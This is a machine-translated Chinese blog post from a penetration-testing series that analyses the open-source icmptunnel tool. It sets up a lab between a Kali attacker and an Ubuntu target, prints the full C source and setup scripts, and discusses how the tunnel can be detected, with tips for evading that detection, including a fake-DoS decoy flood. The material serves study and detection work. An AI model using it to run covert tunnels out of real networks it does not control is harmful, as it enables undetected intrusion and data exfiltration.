当前位置:网站首页>Intranet penetration series: icmptunnel of Intranet tunnel (by master dhavalkapil)
Intranet penetration series: icmptunnel of Intranet tunnel (by master dhavalkapil)
2022-04-23 07:55:00 【Fish in Siyuan Lake】
Preface
This paper studies ICMP A tool for tunnels ,DhavalKapil Master's icmptunnel
github:https://github.com/DhavalKapil/icmptunnel
One 、 summary
1、 brief introduction
Last updated on 2017 year , use C Language writing , Create a virtual network card through ICMP Protocol transfer IP Traffic
Conditions :
- Target machine ( client ) need root jurisdiction
- Target machine ( client ) Sure ping attack ( Server side )
- Only in linux Environmental use
2、 principle
ICMP For the principle of tunnel, see : Intranet penetration series : Of Intranet tunnels ICMP Tunnel
Traffic sending method :
- Target machine ( client ) take IP The flow is encapsulated in ICMP Of echo Sent to the attacker in the packet ( Server side )
- The attacker ( Server side ) take IP The flow is encapsulated in ICMP Of reply Send the packet to the target machine ( client )
- These two kinds of ICMP Data package see RFC792
framework :
3、 Use
Compile both ends :
make
attack ( Server side ) Create a virtual network card and assign IP
[sudo] ./icmptunnel -s 10.0.1.1
Target machine ( client ) modify client.sh And start the tunnel
[sudo] ./icmptunnel -c <server>
Two 、 practice
1、 Test scenarios
attack ( Server side ):kali 192.168.10.128
Target machine ( client ):ubuntu 192.168.10.129
The target can ping Communication attack machine
2、 Build a tunnel
(1) compile
make compile
make
Target machine
attack
(2) Server monitoring
To look at first route
route -n
Build a tunnel
./icmptunnel -s 10.0.1.1
Now check the route again
More than a tun0 Virtual network card
(3) The client starts
View routes
modify client.sh
Establishing a connection
./icmptunnel -c 192.168.10.128
Now check the route again
You can see that there are many tun0, Connection established successfully
(4)ssh
Then you can ssh Connected to
3、 Grab the bag and have a look
The virtual network adapter tun0
network card eth0
You can see everything TCP The traffic is loaded into ICMP In the flow
3、 ... and 、 Explore
1、 Source code and Analysis
(1)icmp.c
/** * icmp.c Get it done ICMP Of packet */
#include "icmp.h"
#include <arpa/inet.h>
#include <stdint.h>
#include <string.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
/** * Function to calculate checksum */
uint16_t in_cksum(uint16_t *addr, int len);
/** * Function to fill up common headers for IP and ICMP */
void prepare_headers(struct iphdr *ip, struct icmphdr *icmp);
/** * Function to set packet type as ECHO */
void set_echo_type(struct icmp_packet *packet)
{
packet->type = ICMP_ECHO;
}
/** * Function to set packet type as REPLY */
void set_reply_type(struct icmp_packet *packet)
{
packet->type = ICMP_ECHOREPLY;
}
/** * Function to open a socket for icmp */
// Initialize a socket, In fact, most tunnels still use socket
int open_icmp_socket()
{
int sock_fd, on = 1;
sock_fd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
if (sock_fd == -1) {
perror("Unable to open ICMP socket\n");
exit(EXIT_FAILURE);
}
// Providing IP Headers
if (setsockopt(sock_fd, IPPROTO_IP, IP_HDRINCL, (const char *)&on, sizeof(on)) == -1) {
perror("Unable to set IP_HDRINCL socket option\n");
exit(EXIT_FAILURE);
}
return sock_fd;
}
/** * Function to bind the socket to INADDR_ANY */
// Bind all network cards , It's a little noisy
void bind_icmp_socket(int sock_fd)
{
struct sockaddr_in servaddr;
// Initializing servaddr to bind to all interfaces
memset(&servaddr, 0, sizeof(struct sockaddr_in));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
// binding the socket
if (bind(sock_fd, (struct sockaddr *)&servaddr, sizeof(struct sockaddr_in)) == -1) {
perror("Unable to bind\n");
exit(EXIT_FAILURE);
}
}
/** * Function to send ICMP Packet */
void send_icmp_packet(int sock_fd, struct icmp_packet *packet_details)
{
// Source and destination IPs
struct in_addr src_addr;
struct in_addr dest_addr;
struct iphdr *ip;
struct icmphdr *icmp;
char *icmp_payload;
int packet_size;
char *packet;
struct sockaddr_in servaddr;
// IP Base conversion of
inet_pton(AF_INET, packet_details->src_addr, &src_addr);
inet_pton(AF_INET, packet_details->dest_addr, &dest_addr);
packet_size = sizeof(struct iphdr) + sizeof(struct icmphdr) + packet_details->payload_size;
packet = calloc(packet_size, sizeof(uint8_t));
if (packet == NULL) {
perror("No memory available\n");
close_icmp_socket(sock_fd);
exit(EXIT_FAILURE);
}
// Initializing header and payload pointers
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
icmp_payload = (char *)(packet + sizeof(struct iphdr) + sizeof(struct icmphdr));
prepare_headers(ip, icmp);
ip->tot_len = htons(packet_size);
ip->saddr = src_addr.s_addr;
ip->daddr = dest_addr.s_addr;
memcpy(icmp_payload, packet_details->payload, packet_details->payload_size);
icmp->type = packet_details->type;
icmp->checksum = 0;
icmp->checksum = in_cksum((unsigned short *)icmp, sizeof(struct icmphdr) + packet_details->payload_size);
memset(&servaddr, 0, sizeof(struct sockaddr_in));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = dest_addr.s_addr;
// Sending the packet
sendto(sock_fd, packet, packet_size, 0, (struct sockaddr *)&servaddr, sizeof(struct sockaddr_in));
free(packet);
}
/** * Function to receive an ICMP packet */
void receive_icmp_packet(int sock_fd, struct icmp_packet *packet_details)
{
struct sockaddr_in src_addr;
//struct sockaddr_in dest_addr;
struct iphdr *ip;
struct icmphdr *icmp;
char *icmp_payload;
int packet_size;
char *packet;
socklen_t src_addr_size;
int enc_MTU; //encapsulated MTU
enc_MTU = MTU + sizeof(struct iphdr) + sizeof(struct icmphdr);
packet = calloc(enc_MTU, sizeof(uint8_t));
if (packet == NULL) {
perror("No memory available\n");
close_icmp_socket(sock_fd);
exit(-1);
}
src_addr_size = sizeof(struct sockaddr_in);
// Receiving packet
packet_size = recvfrom(sock_fd, packet, enc_MTU, 0, (struct sockaddr *)&(src_addr), &src_addr_size);
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
icmp_payload = (char *)(packet + sizeof(struct iphdr) + sizeof(struct icmphdr));
// Filling up packet_details
inet_ntop(AF_INET, &(ip->saddr), packet_details->src_addr, INET_ADDRSTRLEN);
inet_ntop(AF_INET, &(ip->daddr), packet_details->dest_addr, INET_ADDRSTRLEN);
packet_details->type = icmp->type;
packet_details->payload_size = packet_size - sizeof(struct iphdr) - sizeof(struct icmphdr);
packet_details->payload = calloc(packet_details->payload_size, sizeof(uint8_t));
if (packet_details->payload == NULL) {
perror("No memory available\n");
close_icmp_socket(sock_fd);
exit(-1);
}
memcpy(packet_details->payload, icmp_payload, packet_details->payload_size);
free(packet);
}
/** * Function to close the icmp socket */
void close_icmp_socket(int sock_fd)
{
close(sock_fd);
}
/** * Function to calculate checksum */
uint16_t in_cksum(uint16_t *addr, int len)
{
int nleft = len;
uint32_t sum = 0;
uint16_t *w = addr;
uint16_t answer = 0;
// Adding 16 bits sequentially in sum
while (nleft > 1) {
sum += *w;
nleft -= 2;
w++;
}
// If an odd byte is left
if (nleft == 1) {
*(unsigned char *) (&answer) = *(unsigned char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return answer;
}
/** * Function to fill up common headers for IP and ICMP */
void prepare_headers(struct iphdr *ip, struct icmphdr *icmp)
{
ip->version = 4;
ip->ihl = 5; // The length of the first
ip->tos = 0; //4bit Priority ,ICMP Set to 0
ip->id = rand();
ip->frag_off = 0;
ip->ttl = 255;
ip->protocol = IPPROTO_ICMP;
icmp->code = 0; // 0 yes echo
icmp->un.echo.sequence = rand();
icmp->un.echo.id = rand();
icmp->checksum = 0;
}
(2)test_client.c
// The test client sends
#include "icmp.h"
#include <string.h>
int main()
{
struct icmp_packet packet;
char *src_ip;
char *dest_ip;
int sock_fd;
src_ip = "127.0.0.2";
dest_ip = "127.0.0.1";
strncpy(packet.src_addr, src_ip, strlen(src_ip) + 1);
strncpy(packet.dest_addr, dest_ip, strlen(dest_ip) + 1);
set_reply_type(&packet);
packet.payload = "ZZZZZZ"; // The content of the test , It can be changed to more confusing
packet.payload_size = strlen(packet.payload);
sock_fd = open_icmp_socket();
send_icmp_packet(sock_fd, &packet);
close_icmp_socket(sock_fd);
}
(3)test_server.c
// Test the reception of the server
#include "icmp.h"
#include <stdio.h>
#include <string.h>
int main()
{
struct icmp_packet packet;
int sock_fd;
sock_fd = open_icmp_socket();
bind_icmp_socket(sock_fd);
printf("server initialized\n");
while(1)
{
receive_icmp_packet(sock_fd, &packet);
printf("%s\n", packet.src_addr);
printf("%s\n", packet.dest_addr);
printf("%d\n", packet.type);
printf("%s\n", packet.payload);
}
close_icmp_socket(sock_fd);
}
(4)tunnel.c
/** * tunnel.c Through the virtual network card tunnel, And pass socket Reading and writing */
#include "icmp.h"
#include "tunnel.h"
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/if.h>
#include <linux/if_tun.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <netdb.h>
#include <pwd.h>
#include <pthread.h>
#include <arpa/inet.h>
#include <unistd.h>
#define DEFAULT_ROUTE "0.0.0.0"
/** * Function to allocate a tunnel */
int tun_alloc(char *dev, int flags)
{
struct ifreq ifr;
int tun_fd, err;
char *clonedev = "/dev/net/tun"; // The virtual network adapter
printf("[DEBUG] Allocating tunnel\n");
tun_fd = open(clonedev, O_RDWR);
if(tun_fd == -1) {
perror("Unable to open clone device\n");
exit(EXIT_FAILURE);
}
memset(&ifr, 0, sizeof(ifr));
ifr.ifr_flags = flags;
if (*dev) {
strncpy(ifr.ifr_name, dev, IFNAMSIZ);
}
if ((err=ioctl(tun_fd, TUNSETIFF, (void *)&ifr)) < 0) {
close(tun_fd);
fprintf(stderr, "Error returned by ioctl(): %s\n", strerror(err));
perror("Error in tun_alloc()\n");
exit(EXIT_FAILURE);
}
printf("[DEBUG] Allocatating tunnel2");
printf("[DEBUG] Created tunnel %s\n", dev);
return tun_fd;
}
/** * Function to read from a tunnel */
int tun_read(int tun_fd, char *buffer, int length)
{
int bytes_read;
printf("[DEBUG] Reading from tunnel\n");
bytes_read = read(tun_fd, buffer, length);
if (bytes_read == -1) {
perror("Unable to read from tunnel\n");
exit(EXIT_FAILURE);
}
else {
return bytes_read;
}
}
/** * Function to write to a tunnel */
int tun_write(int tun_fd, char *buffer, int length)
{
int bytes_written;
printf("[DEBUG] Writing to tunnel\n");
bytes_written = write(tun_fd, buffer, length);
if (bytes_written == -1) {
perror("Unable to write to tunnel\n");
exit(EXIT_FAILURE);
}
else {
return bytes_written;
}
}
/** * Function to configure the network */
void configure_network(int server) //server It's a flag,1 yes server,0 yes client
{
int pid, status;
char path[100];
char *const args[] = {
path, NULL};
if (server) {
if (sizeof(SERVER_SCRIPT) > sizeof(path)){
perror("Server script path is too long\n");
exit(EXIT_FAILURE);
}
strncpy(path, SERVER_SCRIPT, strlen(SERVER_SCRIPT) + 1);
}
else {
if (sizeof(CLIENT_SCRIPT) > sizeof(path)){
perror("Client script path is too long\n");
exit(EXIT_FAILURE);
}
strncpy(path, CLIENT_SCRIPT, strlen(CLIENT_SCRIPT) + 1);
}
pid = fork();
if (pid == -1) {
perror("Unable to fork\n");
exit(EXIT_FAILURE);
}
if (pid==0) {
// Child process, run the script
exit(execv(path, args));
}
else {
// Parent process
waitpid(pid, &status, 0);
if (WEXITSTATUS(status) == 0) {
// Script executed correctly
printf("[DEBUG] Script ran successfully\n");
}
else {
// Some error
printf("[DEBUG] Error in running script\n");
}
}
}
/** * Function to run the tunnel */
void run_tunnel(char *dest, int server)
{
struct icmp_packet packet;
int tun_fd, sock_fd;
fd_set fs;
tun_fd = tun_alloc("tun0", IFF_TUN | IFF_NO_PI); // Create a point-to-point device , The package does not contain , By default, each packet is transferred to user space , Will contain an additional header to hold the package information
printf("[DEBUG] Starting tunnel - Dest: %s, Server: %d\n", dest, server);
printf("[DEBUG] Opening ICMP socket\n");
sock_fd = open_icmp_socket();
if (server) {
printf("[DEBUG] Binding ICMP socket\n");
bind_icmp_socket(sock_fd);
}
configure_network(server);
// Asynchronous network communication
while (1) {
FD_ZERO(&fs);
FD_SET(tun_fd, &fs);
FD_SET(sock_fd, &fs);
select(tun_fd>sock_fd?tun_fd+1:sock_fd+1, &fs, NULL, NULL, NULL);
if (FD_ISSET(tun_fd, &fs)) {
printf("[DEBUG] Data needs to be readed from tun device\n");
// Reading data from tun device and sending ICMP packet
printf("[DEBUG] Preparing ICMP packet to be sent\n");
// Preparing ICMP packet to be sent
memset(&packet, 0, sizeof(struct icmp_packet));
printf("[DEBUG] Destination address: %s\n", dest);
if (sizeof(DEFAULT_ROUTE) > sizeof(packet.src_addr)){
perror("Lack of space: size of DEFAULT_ROUTE > size of src_addr\n");
close(tun_fd);
close(sock_fd);
exit(EXIT_FAILURE);
}
strncpy(packet.src_addr, DEFAULT_ROUTE, strlen(DEFAULT_ROUTE) + 1);
if ((strlen(dest) + 1) > sizeof(packet.dest_addr)){
perror("Lack of space for copy size of DEFAULT_ROUTE > size of dest_addr\n");
close(sock_fd);
exit(EXIT_FAILURE);
}
strncpy(packet.dest_addr, dest, strlen(dest) + 1);
if(server) {
set_reply_type(&packet);
}
else {
set_echo_type(&packet);
}
packet.payload = calloc(MTU, sizeof(uint8_t));
if (packet.payload == NULL){
perror("No memory available\n");
exit(EXIT_FAILURE);
}
packet.payload_size = tun_read(tun_fd, packet.payload, MTU);
if(packet.payload_size == -1) {
perror("Error while reading from tun device\n");
exit(EXIT_FAILURE);
}
printf("[DEBUG] Sending ICMP packet with payload_size: %d, payload: %s\n", packet.payload_size, packet.payload);
// Sending ICMP packet
send_icmp_packet(sock_fd, &packet);
free(packet.payload);
}
if (FD_ISSET(sock_fd, &fs)) {
printf("[DEBUG] Received ICMP packet\n");
// Reading data from remote socket and sending to tun device
// Getting ICMP packet
memset(&packet, 0, sizeof(struct icmp_packet));
receive_icmp_packet(sock_fd, &packet);
printf("[DEBUG] Read ICMP packet with src: %s, dest: %s, payload_size: %d, payload: %s\n", packet.src_addr, packet.dest_addr, packet.payload_size, packet.payload);
// Writing out to tun device
tun_write(tun_fd, packet.payload, packet.payload_size);
printf("[DEBUG] Src address being copied: %s\n", packet.src_addr);
strncpy(dest, packet.src_addr, strlen(packet.src_addr) + 1);
free(packet.payload);
}
}
}
(5)icmptunnel.c
/** * icmp_tunnel.c */
#include "tunnel.h"
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#define ARG_SERVER_MODE "-s"
#define ARG_CLIENT_MODE "-c"
void usage()
{
printf("Wrong argument\n");
fprintf(stdout, "usage: icmptunnel [-s serverip] | [-c clientip]\n");
}
int main(int argc, char *argv[])
{
char ip_addr[100] = {
0,};
if ((argc < 3) || ((strlen(argv[2]) + 1) > sizeof(ip_addr))) {
usage();
exit(EXIT_FAILURE);
}
memcpy(ip_addr, argv[2], strlen(argv[2]) + 1);
if (strncmp(argv[1], ARG_SERVER_MODE, strlen(argv[1])) == 0) {
run_tunnel(ip_addr, 1);
}
else if (strncmp(argv[1], ARG_CLIENT_MODE, strlen(argv[1])) == 0) {
run_tunnel(ip_addr, 0);
}
else {
usage();
exit(EXIT_FAILURE);
}
return EXIT_SUCCESS;
}
(6)client.sh
Set up the virtual network card , Add route
#!/bin/sh
# Assigining an IP address and mask to 'tun0' interface
ifconfig tun0 mtu 1472 up 10.0.1.2 netmask 255.255.255.0
# Modifying IP routing tables
route del default
# 'server' is the IP address of the proxy server
# 'gateway' and 'interface' can be obtained by usint the command: 'route -n'
route add -host <server> gw <gateway> dev <interface>
route add default gw 10.0.1.1 tun0
(7)server.sh
Set up the virtual network card , Turn off the kernel ping
#!/bin/sh
# Assigining an IP address and mask to 'tun0' interface
ifconfig tun0 mtu 1472 up 10.0.1.1 netmask 255.255.255.0
# Preventing the kernel to reply to any ICMP pings
echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all
# Enabling IP forwarding
echo 1 | dd of=/proc/sys/net/ipv4/ip_forward
# Adding an iptables rule to masquerade for 10.0.0.0/8
iptables -t nat -A POSTROUTING -s 10.0.0.0/8 -j MASQUERADE
2、 Detection and bypass
(1) Detect virtual network card
There are more virtual network cards for no reason , It's probably a problem
This detection method cannot be avoided by this tool
(2) testing ping Is it banned
namely /proc/sys/net/ipv4/icmp_echo_ignore_all
Is it 1
If this tool regards the target machine as a client , No such problem
(3) abnormal ICMP Number of packets
As shown in the figure ssh When the connection ,1s Internally 20 About a bag , It's all designated IP Address
It seems to be an unavoidable problem
Maybe you can do the opposite , That is, use a large amount of ICMP Packets and other packets flooded the target plane , cause DoS The illusion of attack , The sham as the genuine , Confuse , As the case may be
(4) abnormal ICMP Bag length
However, this can be set to a limited length 64, Slice and assemble
(5)payload Content
For example, the following one is ssh Connect
The content is obviously strange
normal ping command :
windows Under the system ping The default transmission is :abcdefghijklmnopqrstuvwabcdefghi, common 32bytes
linux Under the system ,ping The default transmission is 48bytes, front 8bytes Over time , The back is fixed , The content is !”#$%&’()+,-./01234567
Here we confuse encryption , Will it be better
Conclusion
Improvement considerations :
- Change the length and quantity to similar ping command
- Content obfuscation encryption
- Consider cross platform
版权声明
本文为[Fish in Siyuan Lake]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/04/202204230628265481.html
边栏推荐
- [NLP notes] preliminary study on CRF principle
- C operation registry full introduction
- IDEA快捷键
- 《内网安全攻防:渗透测试实战指南》读书笔记(五):域内横向移动分析及防御
- Houdini流体>>粒子流体导出到unity笔记
- SAP STO With Billing流程与配置
- Idea shortcut
- Unity获取真实地理地图应用Terrain笔记
- About unity to obtain links related to the transformation of real geographic maps into 3D
- 常用Markdown语法学习
猜你喜欢
关于U盘数据提示RAW,需要格式化,数据恢复笔记
Teach-Repeat-Replan: A Complete and Robust System for Aggressive Flight in Complex Environments
C # control the camera, rotate and drag the observation script (similar to scenes observation mode)
SAP STO With Billing流程与配置
About USB flash drive data prompt raw, need to format, data recovery notes
VBA calls SAP RFC to read & write data
C#控制相机,旋转,拖拽观察脚本(类似Scenes观察方式)
Enterprise wechat login free jump self built application
How to present your digital portfolio: suggestions from creative recruiters
Shapley Explanation Networks
随机推荐
TimelineWindow
Houdini > fluid, rigid body export, learning process notes
Online Safe Trajectory Generation For Quadrotors Using Fast Marching Method and Bernstein Basis Poly
Houdini地形与流体解算(模拟泥石流)
IT高薪者所具备的人格魅力
使用flask时代码无报错自动结束,无法保持连接,访问不了url。
Encapsulate the debug function of unity
Scrapy modifies the time in the statistics at the end of the crawler as the current system time
《内网安全攻防:渗透测试实战指南》读书笔记(七):跨域攻击分析及防御
第五章 投资性房地产
Solve the problem of deploying mysql8 in docker with correct password but unable to log in to MySQL
Event system (II) multicast events
企业微信免登录跳转自建应用
Unity gets the resources that a file depends on
unity UGUI判断点击在UI上和3D物体上的解决方案
What's new in. Net 5 NET 5
事件系统(二)多播事件
Zhuang understand's TA notes (VI) < fakeenvreflect & rust, rust effect >
How does Apache Hudi accelerate traditional batch mode?
自己封装unity的Debug函数